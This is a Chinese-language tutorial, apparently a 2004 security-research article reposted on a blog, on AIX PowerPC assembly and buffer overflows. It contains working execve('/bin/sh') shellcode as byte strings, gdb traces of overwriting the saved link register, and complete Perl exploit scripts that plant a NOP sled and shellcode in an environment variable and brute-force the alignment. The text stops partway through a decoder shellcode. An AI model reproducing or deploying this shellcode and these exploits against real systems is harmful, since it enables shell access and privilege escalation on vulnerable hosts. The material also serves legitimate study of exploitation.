Chinaunix首页 | 论坛 | 博客
  • 博客访问: 2607025
  • 博文数量: 258
  • 博客积分: 9440
  • 博客等级: 少将
  • 技术积分: 6998
  • 用 户 组: 普通用户
  • 注册时间: 2009-05-03 10:28
个人简介

-- linux爱好者,业余时间热衷于分析linux内核源码 -- 目前主要研究云计算和虚拟化相关的技术,主要包括libvirt/qemu,openstack,opennebula架构和源码分析。 -- 第五届云计算大会演讲嘉宾 微博:@Marshal-Liu

文章分类

全部博文(258)

文章存档

2016年(1)

2015年(4)

2014年(16)

2013年(22)

2012年(41)

2011年(59)

2010年(40)

2009年(75)

分类: LINUX

2009-09-03 15:31:40

创建时间:2004-06-04 更新时间:2004-08-13
文章属性:原创
文章提交:san (san_at_xfocus.org)

整理:san@nsfocus.com
创建:2004-05-23
更新:2004-08-13

English Version: http://www.xfocus.org/documents/200408/5.html

一、 熟悉PowerPC体系及其精简指令集计算

PowerPC体系结构是RISC(精简指令集计算),定义了 200 多条指令。PowerPC 之所以是 RISC,原因在于大部分指令在一个单一的周期内执行,而且是定长的32位指令,通常只执行一个单一的操作(比如将内存加载到寄存器,或者将寄存器数据存 储到内存)。差不多有12种指令格式,表现为5类主要的指令:

1、分支(branch)指令
2、定点(fixed-point)指令
3、浮点(floating-point)指令
4、装载和存储指令
5、处理器控制指令

PowerPC的应用级寄存器分为三类:通用寄存器(general-purpose register,GPR)、浮点寄存器(floating-point register [FPR] 和浮点状态与控制寄存器 [Floating-Point Status and Control Register,FPSCR])和专用寄存器(special-purpose register,SPR)。gdb里的info registers能看到38个寄存器,下面主要介绍这几个常用的寄存器:

通用寄存器的用途:

r0      在函数开始(function prologs)时使用。
r1      堆栈指针,相当于ia32架构中的esp寄存器,idapro把这个寄存器反汇编标识为sp。
r2      内容表(toc)指针,idapro把这个寄存器反汇编标识为rtoc。系统调用时,它包含系统调用号。
r3      作为第一个参数和返回值。
r4-r10  函数或系统调用开始的参数。
r11     用在指针的调用和当作一些语言的环境指针。
r12     它用在异常处理和glink(动态连接器)代码。
r13     保留作为系统线程ID。
r14-r31 作为本地变量,非易失性。

专用寄存器的用途:

lr      链接寄存器,它用来存放函数调用结束处的返回地址。
ctr     计数寄存器,它用来当作循环计数器,会随特定转移操作而递减。
xer     定点异常寄存器,存放整数运算操作的进位以及溢出信息。
msr     机器状态寄存器,用来配置微处理器的设定。
cr      条件寄存器,它分成8个4位字段,cr0-cr7,它反映了某个算法操作的结果并且提供条件分支的机制。

寄存器r1、r14-r31是非易失性的,这意味着它们的值在函数调用过程保持不变。寄存器r2也算非易失性,但是只有在调用函数在调用后必须恢复它的值时才被处理。

寄存器r0、r3-r12和特殊寄存器lr、ctr、xer、fpscr是易失性的,它们的值在函数调用过程中会发生变化。此外寄存器r0、r2、r11和r12可能会被交叉模块调用改变,所以函数在调用的时候不能采用它们的值。

条件代码寄存器字段cr0、cr1、cr5、cr6和cr7是易失性的。cr2、cr3和cr4是非易失性的,函数如果要改变它们必须保存并恢复这些字段。

在AIX上,svca指令(sc是PowerPC的助记符)用来表示系统调用,r2寄存器指定系统调用号,r3-r10寄存器是给该系统调用的参数。在执 行系统调用指令之前有两个额外的先决条件:LR寄存器必须保存返回系统调用地址的值并且在系统调用前执行crorc cr6, cr6, cr6指令。

二、学习AIX PowerPC汇编

由于对AIX PowerPC的汇编很不熟,所以借助gcc的-S来学习一下AIX的汇编。二进制的gcc可以从http://aixpdslib.seas.ucla.edu/下载到。先写一个最小的C程序:

/* setuid.c
*
*  Learn AIX PowerPC assembly
*/
#include
int main()
{
    setuid(0);
}

用gcc的-S选项编译一下:

-bash-2.05b$ gcc -S setuid.c

在当前目录得到setuid.s:

        .file   "setuid.c"
        .toc
        .csect .text[PR]
        .align 2
        .globl main
        .globl .main
        .csect main[DS]
main:
        .long .main, TOC[tc0], 0
        .csect .text[PR]
.main:
        .extern __mulh
        .extern __mull
        .extern __divss
        .extern __divus
        .extern __quoss
        .extern __quous
        mflr 0
        stw 31,-4(1)
        stw 0,8(1)
        stwu 1,-72(1)
        mr 31,1
        li 3,0
        bl .setuid
        nop
        mr 3,0
        lwz 1,0(1)
        lwz 0,8(1)
        mtlr 0
        lwz 31,-4(1)
        blr
LT..main:
        .long 0
        .byte 0,0,32,97,128,1,0,1
        .long LT..main-.main
        .short 4
        .byte "main"
        .byte 31
        .align 2
_section_.text:
        .csect .data[RW],3
        .long _section_.text

经过精简,发现如下这样的格式就足够了:

        .globl .main
        .csect .text[PR]
.main:
        mflr 0
        stw 31,-4(1)
        stw 0,8(1)
        stwu 1,-72(1)
        mr 31,1
        li 3,0
        bl .setuid
        nop
        mr 3,0
        lwz 1,0(1)
        lwz 0,8(1)
        mtlr 0
        lwz 31,-4(1)
        blr

三、学习AIX PowerPC的shellcode

B-r00t的PowerPC/OS X (Darwin) Shellcode Assembly写的非常通俗易懂,只可惜是OS X系统,不过现在我们也可以依样画葫芦了:

-bash-2.05b$ cat simple_execve.s
.globl .main
.csect .text[PR]
.main:
        xor.    %r5, %r5, %r5       # 把r5寄存器清空,并且在cr寄存器设置相等标志
        bnel    .main               # 如果没有相等标志就进入分支并且把返回地址保存到lr寄存器,这里不会陷入死循环
        mflr    %r3                 # 等价于mfspr r3, 8,把lr寄存器的值拷贝到r3。这里r3寄存器的值就是这条指令的地址
        addi    %r3, %r3, 32        # 上一条指令到/bin/sh字符串有8条指令,现在r3是/bin/sh字符串开始的地址
        stw     %r3, -8(%r1)        # argv[0] = string 把r3写入堆栈
        stw     %r5, -4(%r1)        # argv[1] = NULL 把0写入堆栈
        subi    %r4, %r1, 8         # r4指向argv[]
        li      %r2, 5              # AIX 5.1的execve中断号是5
        crorc   %cr6, %cr6, %cr6    # 这个环境不加这条指令也能成功,lsd和IBM Aix PowerPC Assembler的svc指令介绍都提到成功执行系统调用的前提是一个无条件的分支或CR指令。这条指令确保是CR指令。
        svca    0                   # execve(r3, r4, r5)
string:                             # execve(path, argv[], NULL)
        .asciz  "/bin/sh"

-bash-2.05b$ gcc -o simple_execve simple_execve.s
-bash-2.05b$ ./simple_execve
$

正确执行了execve,用objdump查看一下它的opcode:

-bash-2.05b$ objdump -d simple_execve|more
...
0000000010000544 <.main>:
    10000544:   7c a5 2a 79     xor.    r5,r5,r5
    10000548:   40 82 ff fd     bnel    10000544 <.main>
    1000054c:   7c 68 02 a6     mflr    r3
    10000550:   38 63 00 20     cal     r3,32(r3)
    10000554:   90 61 ff f8     st      r3,-8(r1)
    10000558:   90 a1 ff fc     st      r5,-4(r1)
    1000055c:   38 81 ff f8     cal     r4,-8(r1)
    10000560:   38 40 00 05     lil     r2,5
    10000564:   4c c6 33 42     crorc   6,6,6
    10000568:   44 00 00 02     svca    0
    1000056c:   2f 62 69 6e     cmpi    6,r2,26990
    10000570:   2f 73 68 00     cmpi    6,r19,26624
...

可以看到有好几条指令的opcode包含了0,这对于strcpy等字符串操作函数导致的溢出会被截断,所以需要编码或者相应指令的替换。不过我们注意到 svca指令中间两个字节包含了0,幸好这两个字节是保留字段,并没有被使用,可以用非0字节代替。PowerPC空指令nop的opcode是 0x60000000,后面三个字节的0也是保留项,也可以用0x60606060来代替。lsd提供了一个可用的shellcode:

/* shellcode.c
*
*  ripped from lsd
*/

char shellcode[] =         /* 12*4+8 bytes                 */
    "\x7c\xa5\x2a\x79"     /* xor.    r5,r5,r5             */
    "\x40\x82\xff\xfd"     /* bnel              */
    "\x7f\xe8\x02\xa6"     /* mflr    r31                  */
    "\x3b\xff\x01\x20"     /* cal     r31,0x120(r31)       */
    "\x38\x7f\xff\x08"     /* cal     r3,-248(r31)         */
    "\x38\x9f\xff\x10"     /* cal     r4,-240(r31)         */
    "\x90\x7f\xff\x10"     /* st      r3,-240(r31)         */
    "\x90\xbf\xff\x14"     /* st      r5,-236(r31)         */
    "\x88\x5f\xff\x0f"     /* lbz     r2,-241(r31)         */
    "\x98\xbf\xff\x0f"     /* stb     r5,-241(r31)         */
    "\x4c\xc6\x33\x42"     /* crorc   cr6,cr6,cr6          */
    "\x44\xff\xff\x02"     /* svca                         */
    "/bin/sh"
    "\x05"
    ;
int main(void)
{
    int jump[2]={(int)shellcode,0};
    ((*(void (*)())jump)());
}

编译后,用IDAPro反汇编,在Names window点击shellcode,并且按c强制反汇编:

.data:200006D8             shellcode:                              # CODE XREF: .data:200006DCp
.data:200006D8                                                     # DATA XREF: .data:shellcode_TCo
.data:200006D8 7C A5 2A 79                 xor.    r5, r5, r5      # 把r5寄存器清空,并且在cr寄存器设置相等标志
.data:200006DC 40 82 FF FD                 bnel    shellcode       # 如果没有相等标志就进入分支并且把返回地址保存到lr寄存器,这里不会陷入死循环
.data:200006E0 7F E8 02 A6                 mflr    r31             # 等价于mfspr r31, 8,这里把lr寄存器的值拷贝到r31
.data:200006E4 3B FF 01 20                 addi    r31, r31, 0x120 # r31等于.data:20000800
.data:200006E8 38 7F FF 08                 subi    r3, r31, 0xF8   # r3等于.data:20000708
.data:200006EC 38 9F FF 10                 subi    r4, r31, 0xF0   # r4等于.data:20000710
.data:200006F0 90 7F FF 10                 stw     r3, -0xF0(r31)  # 把地址.data:20000708放到.data:20000710
.data:200006F4 90 BF FF 14                 stw     r5, -0xEC(r31)  # 把0放到.data:20000714
.data:200006F8 88 5F FF 0F                 lbz     rtoc, -0xF1(r31) # 读入execve的中断号到r2寄存器
.data:200006FC 98 BF FF 0F                 stb     r5, -0xF1(r31)  # .data:2000070F写入一个字节0
.data:20000700 4C C6 33 42                 crorc   4*cr1+eq, 4*cr1+eq, 4*cr1+eq # Condition Register OR with Comlement
.data:20000700             # 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.data:20000704 44                          .byte 0x44 # execve(r3, r4, r5)
.data:20000705 FF                          .byte 0xFF # execve(path, argv[], NULL)
.data:20000706 FF                          .byte 0xFF
.data:20000707 02                          .byte    2
.data:20000708 2F                          .byte 0x2F # /
.data:20000709 62                          .byte 0x62 # b
.data:2000070A 69                          .byte 0x69 # i
.data:2000070B 6E                          .byte 0x6E # n
.data:2000070C 2F                          .byte 0x2F # /
.data:2000070D 73                          .byte 0x73 # s
.data:2000070E 68                          .byte 0x68 # h
.data:2000070F 03                          .byte    5

至此,我们了解了AIX PowerPC下如何简单的调试shellcode。

四、学习AIX PowerPC的溢出技术

要学习溢出技术就必须了解堆栈结构,PowerPC的堆栈结构和ia32有很大不同,PowerPC没有类似ia32里ebp这个指针,它只使用r1寄存 器把整个堆栈构成一个单向链表,其增长方向是从高地址到低地址,而本地变量的增长方向也是从低地址到高地址的,这就给溢出获得控制的技术提供了保证。32 位PowerPC的堆栈结构如下图:

       . 调用前的堆栈   .               . 调用后的堆栈   .
       .                .               .                .
       |                |               |                |
       +----------------+-              +----------------+-
       | Parameter area | |             | Parameter area | |
       +----------------+ +-调用函数    +----------------+ +-调用函数
       | Linkage area   | |             | Linkage area   | |
SP --->+----------------+-              +----------------+-
       |  堆栈增长方向  |               | Saved registers| |
       .        |       .               +----------------+ |
       .        v       .               | Local variables| |
                                        +----------------+ +-被调函数
                                        | Parameter area | |
                                        +----------------+ |
                                        | Linkage area   | |
                                 SP --->+----------------+-
                                        |  堆栈增长方向  |
                                        .        |       .
                                        .        v       .

每个PowerPC的栈帧数据包含4个部分:链接区、参数区、本地变量和寄存器区。

链接区保存了被调函数和调用函数的一些值,它的结构如下:

    +24+----------------+
       |    Saved TOC   |
    +20+----------------+
       |    Reserved    |
    +16+----------------+
       |    Reserved    |
    +12+----------------+
       |    Saved LR    |
     +8+----------------+
       |    Saved CR    |
     +4+----------------+
       |    Saved SP    |
SP --->+----------------+

被调函数的链接寄存器(LR)保存到8(SP)。
被调函数可能把条件寄存器(CR)保存到4(SP),如果链接寄存器已经保存,这也就没有必要了。
堆栈指针永远保存调用函数的栈帧,这样被调函数就可以找到调用函数的参数区,不过这也意味着PowerPC不可能有push和pop这样对堆栈的操作。
全局链接代码会把TOC指针保存到20(SP)的地方。

参数区用来传递其它被调函数的参数。当前函数的参数是通过上一函数(调用者)的参数区和被设计用来传递参数的通用寄存器中获取。

如果本地变量太多,无法在非易失性寄存器中存放,那么就会使用基于堆栈的本地变量。它的大小在编译的时候确定,是不可修改的。

寄存器区包含非易失性寄存器的值。当被调函数使用这些寄存器作为本地变量,而调用函数可能会用到同样的寄存器,那么这些寄存器的信息需要在调用函数修改它们之前保存。当然,被调函数返回的时候需要恢复这些寄存器的值。

ia32中当函数返回时,一般都有如下三条指令:

mov esp,ebp ; 堆栈指针esp指向前一个栈帧
pop ebp
ret         ; 执行esp+4保存的返回地址

AIX PowerPC中当函数返回时,一般有如下几条指令:

lwz     r1,0(r1)    # 堆栈指针r1指向前一个栈帧
lwz     r0,8(r1)    # r0等于堆栈里保存的lr值
mtlr    r0          # lr=r0
lwz     r31,-4(r1)  #
blr                 # 跳到lr执行

可以看到虽然AIX PowerPC的堆栈结构和ia32的不同,但是溢出技术的手法是一样的。ia32是覆盖当前ebp+4保存的返回地址,当函数返回的时候就会跳到我们指 定的地址执行;AIX PowerPC要覆盖到下一个栈帧保存lr的地址,当函数返回的时候也会跳到我们指定的地址执行。

文字描述无法实际理解,自己动手一下才会真正领会,下面用一个简单的程序走一遍流程:

-bash-2.05b$ cat simple_overflow.c
/* simple_overflow.c
*
*  Simple program to demonstrate buffer overflows
*  on the PowerPC architecture.
*/
#include
#include
char largebuff[] =
"123451234512345123451234=PRESERVEDSPACE=ABCD";
int main (void)
{
    char smallbuff[16];
    strcpy (smallbuff, largebuff);
}

-bash-2.05b$ gcc -o simple_overflow simple_overflow.c
-bash-2.05b$ gdb -q simple_overflow
(gdb) r
Starting program: /home/san/simple_overflow

Program received signal SIGSEGV, Segmentation fault.
0x41424344 in ?? ()
(gdb) i reg
r0             0x41424344       1094861636
r1             0x2ff22bb0       804400048
r2             0x20000e70       536874608
r3             0x20     32
r4             0x20000534       536872244
r5             0x2ff22bbc       804400060
r6             0x0      0
r7             0x0      0
r8             0x0      0
r9             0x80808080       -2139062144
r10            0x7f7f7f7f       2139062143
r11            0x4      4
r12            0x80808080       -2139062144
r13            0xdeadbeef       -559038737
r14            0x1      1
r15            0x2ff22c00       804400128
r16            0x2ff22c08       804400136
r17            0x0      0
r18            0xdeadbeef       -559038737
r19            0xdeadbeef       -559038737
r20            0xdeadbeef       -559038737
r21            0xdeadbeef       -559038737
r22            0xdeadbeef       -559038737
r23            0xdeadbeef       -559038737
r24            0xdeadbeef       -559038737
r25            0xdeadbeef       -559038737
r26            0xdeadbeef       -559038737
r27            0xdeadbeef       -559038737
r28            0x20000460       536872032
r29            0x10000000       268435456
r30            0x3      3
r31            0x53455256       1397051990
pc             0x41424344       1094861636
ps             0x4000d032       1073795122
cr             0x22222842       572663874
lr             0x41424344       1094861636
ctr            0x4      4
xer            0x0      0
fpscr          0x0      0
vscr           0x0      0
vrsave         0x0      0
(gdb) x/8x $r1
0x2ff22bb0:     0x45445350      0x4143453d      0x41424344      0x00000000
0x2ff22bc0:     0x00000000      0x20000e70      0x00000000      0x00000000

pc寄存器已经被覆盖为ABCD,跟着程序一步步走走,看看pc是怎么变为ABCD的:

(gdb) disas main
Dump of assembler code for function main:
0x1000054c :    mflr    r0
0x10000550 :    stw     r31,-4(r1)
0x10000554 :    stw     r0,8(r1)
0x10000558 :   stwu    r1,-88(r1)
0x1000055c :   mr      r31,r1
0x10000560 :   addi    r3,r31,56
0x10000564 :   lwz     r4,80(r2)
0x10000568 :   bl      0x10006fa0
0x1000056c :   nop
0x10000570 :   mr      r3,r0
0x10000574 :   lwz     r1,0(r1)
0x10000578 :   lwz     r0,8(r1)
0x1000057c :   mtlr    r0
0x10000580 :   lwz     r31,-4(r1)
0x10000584 :   blr
0x10000588 :   .long 0x0
0x1000058c :   .long 0x2061
0x10000590 :   lwz     r0,1(r1)
0x10000594 :   .long 0x3c
0x10000598 :   .long 0x46d61
0x1000059c :   xori    r14,r11,7936
End of assembler dump.
(gdb) b main
Breakpoint 1 at 0x10000560
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/san/simple_overflow

Breakpoint 1, 0x10000560 in main ()
(gdb) display/i $pc
1: x/i $pc  0x10000560 :       addi    r3,r31,56
(gdb) x/20x $r1
0x2ff22b58:     0x2ff22bb0      0x00000000      0x00000000      0x00000000
0x2ff22b68:     0x00000000      0x00000000      0x00000000      0x00000000
0x2ff22b78:     0x00000000      0x00000000      0x00000000      0x00000001
0x2ff22b88:     0x00000000      0xdeadbeef      0xdeadbeef      0xdeadbeef
0x2ff22b98:     0xdeadbeef      0xdeadbeef      0x20000460      0x10000000
(gdb)
0x2ff22ba8:     0x00000003      0x20000460      0x00000000      0x44222802
0x2ff22bb8:     0x100001cc      0x00000000      0x00000000      0x20000e70
0x2ff22bc8:     0x00000000      0x00000000      0x00000000      0x00000000
0x2ff22bd8:     0x00000000      0x00000000      0x00000000      0x00000000
0x2ff22be8:     0x00000000      0x00000000      0x00000000      0x00000000

0x2ff22b58是当前的堆栈指针,它指向的地址是前一个栈帧(0x2ff22bb0)。从堆栈内容来看,前一个栈帧保存的lr是0x100001cc,也就是说main函数退出后会执行到这个地址,先来看程序流程:

(gdb) until *0x1000056c
0x1000056c in main ()
1: x/i $pc  0x1000056c :       nop
(gdb) i reg
r0             0x20     32
r1             0x2ff22b58       804399960
r2             0x20000e70       536874608
r3             0x2ff22b90       804400016
r4             0x20000534       536872244
r5             0x2ff22bbc       804400060
r6             0x0      0
r7             0x0      0
r8             0x0      0
r9             0x80808080       -2139062144
r10            0x7f7f7f7f       2139062143
r11            0x4      4
r12            0x80808080       -2139062144
r13            0xdeadbeef       -559038737
r14            0x1      1
r15            0x2ff22c00       804400128
r16            0x2ff22c08       804400136
r17            0x0      0
r18            0xdeadbeef       -559038737
r19            0xdeadbeef       -559038737
r20            0xdeadbeef       -559038737
r21            0xdeadbeef       -559038737
r22            0xdeadbeef       -559038737
r23            0xdeadbeef       -559038737
r24            0xdeadbeef       -559038737
r25            0xdeadbeef       -559038737
r26            0xdeadbeef       -559038737
r27            0xdeadbeef       -559038737
r28            0x20000460       536872032
r29            0x10000000       268435456
r30            0x3      3
r31            0x2ff22b58       804399960
pc             0x1000056c       268436844
ps             0x2d032  184370
cr             0x22222842       572663874
lr             0x1000056c       268436844
ctr            0x4      4
xer            0x0      0
fpscr          0x0      0
vscr           0x0      0
vrsave         0x0      0
(gdb) x/20x $r1
0x2ff22b58:     0x2ff22bb0      0x00000000      0x00000000      0x00000000
0x2ff22b68:     0x00000000      0x00000000      0x00000000      0x00000000
0x2ff22b78:     0x00000000      0x00000000      0x00000000      0x00000001
0x2ff22b88:     0x00000000      0xdeadbeef      0x31323334      0x35313233
0x2ff22b98:     0x34353132      0x33343531      0x32333435      0x31323334
(gdb)
0x2ff22ba8:     0x3d505245      0x53455256      0x45445350      0x4143453d
0x2ff22bb8:     0x41424344      0x00000000      0x00000000      0x20000e70
0x2ff22bc8:     0x00000000      0x00000000      0x00000000      0x00000000
0x2ff22bd8:     0x00000000      0x00000000      0x00000000      0x00000000
0x2ff22be8:     0x00000000      0x00000000      0x00000000      0x00000000

strcpy已经完成,前一个栈帧保存lr寄存器的内容已经改写成0x41424344,接着看程序流程:

(gdb) ni
0x10000570 in main ()
1: x/i $pc  0x10000570 :       mr      r3,r0
(gdb)
0x10000574 in main ()
1: x/i $pc  0x10000574 :       lwz     r1,0(r1)
(gdb)
0x10000578 in main ()
1: x/i $pc  0x10000578 :       lwz     r0,8(r1)
(gdb)
0x1000057c in main ()
1: x/i $pc  0x1000057c :       mtlr    r0
(gdb)
0x10000580 in main ()
1: x/i $pc  0x10000580 :       lwz     r31,-4(r1)
(gdb)
0x10000584 in main ()
1: x/i $pc  0x10000584 :       blr
(gdb)

这几步指令的功能在前面已经说过了,就是main函数在退出的时候会切换到前一个栈帧,并且把r1+8的内容保存到lr寄存器,然后跳到lr寄存器执行。

五、学习如何攻击AIX PowerPC的溢出程序

了解了溢出流程后,我们可以来试试如何写攻击程序:

-bash-2.05b$ cat vulnerable.c
/* vulnerable.c
*
*  Vulnerable program on the PowerPC architecture.
*/

#include
#include
int main (int argc, char *argv[])
{
    char vulnbuff[16];
    strcpy (vulnbuff, argv[1]);
    printf ("\n%s\n", vulnbuff);
    getchar(); /* for debug */
}

-bash-2.05b$ gcc -o vulnerable vulnerable.c

AIX和其它架构的操作系统一样,也有USER_UPPER(栈底),它的地址是0x2ff22fff,大致的堆栈结构如下:

              栈底
       +----------------+ 0x2ff22fff
       |      保留      |
       +----------------+
       |    环境变量    |
       +----------------+
       |  执行文件参数  |
       +----------------+
       |执行文件绝对路径|
       +----------------+
       |      栈帧      |
SP --->+----------------+
       |  堆栈增长方向  |
       .        |       .
       .        v       .  

我们能够比较准确的猜测环境变量的地址,参考前面的调试流程和watercloud的一些AIX攻击程序,想当然的写一个攻击程序:

-bash-2.05b$ cat exploit.pl
#!/usr/bin/perl
#
# exploit.pl
# exploit program vulnerable

$CMD="/home/san/vulnerable";

$SHELLCODE=
    "\x7c\xa5\x2a\x79".     # /* xor.    r5,r5,r5             */
    "\x40\x82\xff\xfd".     # /* bnel              */
    "\x7f\xe8\x02\xa6".     # /* mflr    r31                  */
    "\x3b\xff\x01\x20".     # /* cal     r31,0x120(r31)       */
    "\x38\x7f\xff\x08".     # /* cal     r3,-248(r31)         */
    "\x38\x9f\xff\x10".     # /* cal     r4,-240(r31)         */
    "\x90\x7f\xff\x10".     # /* st      r3,-240(r31)         */
    "\x90\xbf\xff\x14".     # /* st      r5,-236(r31)         */
    "\x88\x5f\xff\x0f".     # /* lbz     r2,-241(r31)         */
    "\x98\xbf\xff\x0f".     # /* stb     r5,-241(r31)         */
    "\x4c\xc6\x33\x42".     # /* crorc   cr6,cr6,cr6          */
    "\x44\xff\xff\x02".     # /* svca                         */
    "/bin/sh".
    "\x05";

$NOP="\x60\x60\x60\x60"x800;
%ENV=();

$ENV{CCC}=$NOP.$SHELLCODE;
$ret=system $CMD ,"\x2f\xf2\x2b\x40"x11;

调试一下:

-bash-2.05b$ ./exploit.pl

/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@

在另一个终端用gdb调试vulnerable:

-bash-2.05b$ ps aux|grep vul
san      47644  0.0  0.0  208  220  pts/1 A    22:16:24  0:00 grep vul
san      44544  0.0  0.0   96  304  pts/0 A    22:16:02  0:00 /home/san/vulnera
-bash-2.05b$ gdb vulnerable 44544
GNU gdb 6.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "powerpc-ibm-aix5.1.0.0"...
Attaching to program: /home/san/vulnerable, process 44544
0xd01ea254 in read () from /usr/lib/libc.a(shr.o)
(gdb) disas main
Dump of assembler code for function main:
0x10000544 :    mflr    r0
0x10000548 :    stw     r31,-4(r1)
0x1000054c :    stw     r0,8(r1)
0x10000550 :   stwu    r1,-88(r1)
0x10000554 :   mr      r31,r1
0x10000558 :   stw     r3,112(r31)
0x1000055c :   stw     r4,116(r31)
0x10000560 :   lwz     r9,116(r31)
0x10000564 :   addi    r9,r9,4
0x10000568 :   addi    r3,r31,56
0x1000056c :   lwz     r4,0(r9)
0x10000570 :   bl      0x10007000
0x10000574 :   nop
0x10000578 :   lwz     r3,88(r2)
0x1000057c :   addi    r4,r31,56
0x10000580 :   bl      0x100073ec
0x10000584 :   lwz     r2,20(r1)
0x10000588 :   lwz     r11,92(r2)
0x1000058c :   lwz     r9,92(r2)
0x10000590 :   lwz     r9,4(r9)
0x10000594 :   addi    r0,r9,-1
0x10000598 :   stw     r0,4(r11)
0x1000059c :   cmpwi   r0,0
0x100005a0 :   bge-    0x100005b4
0x100005a4 :   lwz     r3,92(r2)
0x100005a8 :  bl      0x1000747c <__filbuf>
0x100005ac :  lwz     r2,20(r1)
0x100005b0 :  b       0x100005c8
0x100005b4 :  lwz     r11,92(r2)
0x100005b8 :  lwz     r9,92(r2)
0x100005bc :  lwz     r9,0(r9)
0x100005c0 :  addi    r0,r9,1
0x100005c4 :  stw     r0,0(r11)
0x100005c8 :  mr      r3,r0
0x100005cc :  lwz     r1,0(r1)
0x100005d0 :  lwz     r0,8(r1)
0x100005d4 :  mtlr    r0
0x100005d8 :  lwz     r31,-4(r1)
0x100005dc :  blr
0x100005e0 :  .long 0x0
0x100005e4 :  .long 0x2061
0x100005e8 :  lwz     r0,513(r1)
---Type to continue, or q to quit---
0x100005ec :  .long 0x0
0x100005f0 :  .long 0x9c
0x100005f4 :  .long 0x46d61
0x100005f8 :  xori    r14,r11,7936
End of assembler dump.
(gdb) b *0x100005dc
Breakpoint 1 at 0x100005dc
(gdb) c
Continuing.

在执行exploit.pl的窗口随便敲个键,gdb调试窗口就可以继续了:

Breakpoint 1, 0x100005dc in main ()
(gdb) i reg
r0             0x100001cc       268435916
r1             0x2ff22210       804397584
r2             0x20000ee8       536874728
r3             0xf00890f1       -267874063
r4             0xf00890f0       -267874064
r5             0x0      0
r6             0xd032   53298
r7             0x0      0
r8             0x60000000       1610612736
r9             0x60002449       1610622025
r10            0x0      0
r11            0x600026c8       1610622664
r12            0x100005ac       268436908
r13            0xdeadbeef       -559038737
r14            0x2      2
r15            0x2ff22264       804397668
r16            0x2ff22270       804397680
r17            0x0      0
r18            0xdeadbeef       -559038737
r19            0xdeadbeef       -559038737
r20            0xdeadbeef       -559038737
r21            0xdeadbeef       -559038737
r22            0xdeadbeef       -559038737
r23            0xdeadbeef       -559038737
r24            0xdeadbeef       -559038737
r25            0xdeadbeef       -559038737
r26            0xdeadbeef       -559038737
r27            0xdeadbeef       -559038737
r28            0x20000520       536872224
r29            0x10000000       268435456
r30            0x3      3
r31            0x2ff22b40       804399936
pc             0x100005dc       268436956
ps             0x2d032  184370
cnd            0x24222422       606217250
lr             0x100001cc       268435916
cnt            0x0      0
xer            0x0      0
mq             0x0      0
fpscr          0x0      0
(gdb) x/20x $r1
(gdb) x/20x $r1
0x2ff22210:     0x2ff22b40      0x2ff22b40      0x2ff22b40      0x00000000
0x2ff22220:     0x00000000      0x20000ee8      0x00000002      0x2ff2225c
0x2ff22230:     0x00000000      0x00000000      0x00000000      0x00000000
0x2ff22240:     0x00000000      0x00000000      0x00000000      0x00000000
0x2ff22250:     0x00000000      0x00000000      0x00000000      0x2ff22270
(gdb) x/20x 0x2ff22b40
0x2ff22b40:     0x60606060      0x60606060      0x60606060      0x60606060
0x2ff22b50:     0x60606060      0x60606060      0x60606060      0x60606060
0x2ff22b60:     0x60606060      0x60606060      0x60606060      0x60606060
0x2ff22b70:     0x60606060      0x60606060      0x60606060      0x60606060
0x2ff22b80:     0x60606060      0x60606060      0x60606060      0x60606060
...
...
...
(gdb)
0x2ff22f00:     0x60606060      0x60606060      0x60606060      0x60606060
0x2ff22f10:     0x60606060      0x60606060      0x60606060      0x60606060
0x2ff22f20:     0x60606060      0x60606060      0x60606060      0x60606060
0x2ff22f30:     0x60606060      0x60607ca5      0x2a794082      0xfffd7fe8
0x2ff22f40:     0x02a63bff      0x0120387f      0xff08389f      0xff10907f

我们看到lr寄存器正好被覆盖为0x2ff22b40,这就说明程序的流程能达到0x2ff22b40,这个地址也都是填充的nop指令,由于AIX PowerPC是4字节的等长指令,注意到0x2ff22f34这个地址错了两个字节,这肯定导致shellcode无法正常执行。watercloud 有一个很好的方法解决这个指令字节对齐的问题,用嵌套循环遍历保证字节对齐:

#!/usr/bin/perl
#
# exploit1.pl
# exploit program vulnerable

$CMD="/home/san/vulnerable";

$SHELLCODE=
    "\x7c\xa5\x2a\x79".     # /* xor.    r5,r5,r5             */
    "\x40\x82\xff\xfd".     # /* bnel              */
    "\x7f\xe8\x02\xa6".     # /* mflr    r31                  */
    "\x3b\xff\x01\x20".     # /* cal     r31,0x120(r31)       */
    "\x38\x7f\xff\x08".     # /* cal     r3,-248(r31)         */
    "\x38\x9f\xff\x10".     # /* cal     r4,-240(r31)         */
    "\x90\x7f\xff\x10".     # /* st      r3,-240(r31)         */
    "\x90\xbf\xff\x14".     # /* st      r5,-236(r31)         */
    "\x88\x5f\xff\x0f".     # /* lbz     r2,-241(r31)         */
    "\x98\xbf\xff\x0f".     # /* stb     r5,-241(r31)         */
    "\x4c\xc6\x33\x42".     # /* crorc   cr6,cr6,cr6          */
    "\x44\xff\xff\x02".     # /* svca                         */
    "/bin/sh".
    "\x05";

$NOP="\x60\x60\x60\x60"x800;
%ENV=();

$ENV{CCC}=$NOP.$SHELLCODE;
$ret=system $CMD ,"\x2f\xf2\x2b\x40"x11;

for($i=0;$i<4 && $ret;$i++){
    for($j=0;$j<4 && $ret;$j++) {
        $ENV{CCC}="A"x $j .$NOP.$SHELLCODE;
        $ret = system $CMD ,"A"x $i ."\x2f\xf2\x2b\x40"x11;
    }
}

-bash-2.05b$ ./exploit1.pl

/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@


/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@


/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@


/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@

$

六、遭遇I-cache

为了适应各种复杂应用shellcode的编写,有一个解码shellcode就会变得相对容易。对ia32来说,这非常简单,PowerPC指令是不能直接操作内存的,参考ia32的decoder,写出下面的解码shellcode:

char shellcode[] =
// decoder
"\x7c\xa5\x2a\x79"      //  xor.    %r5, %r5, %r5
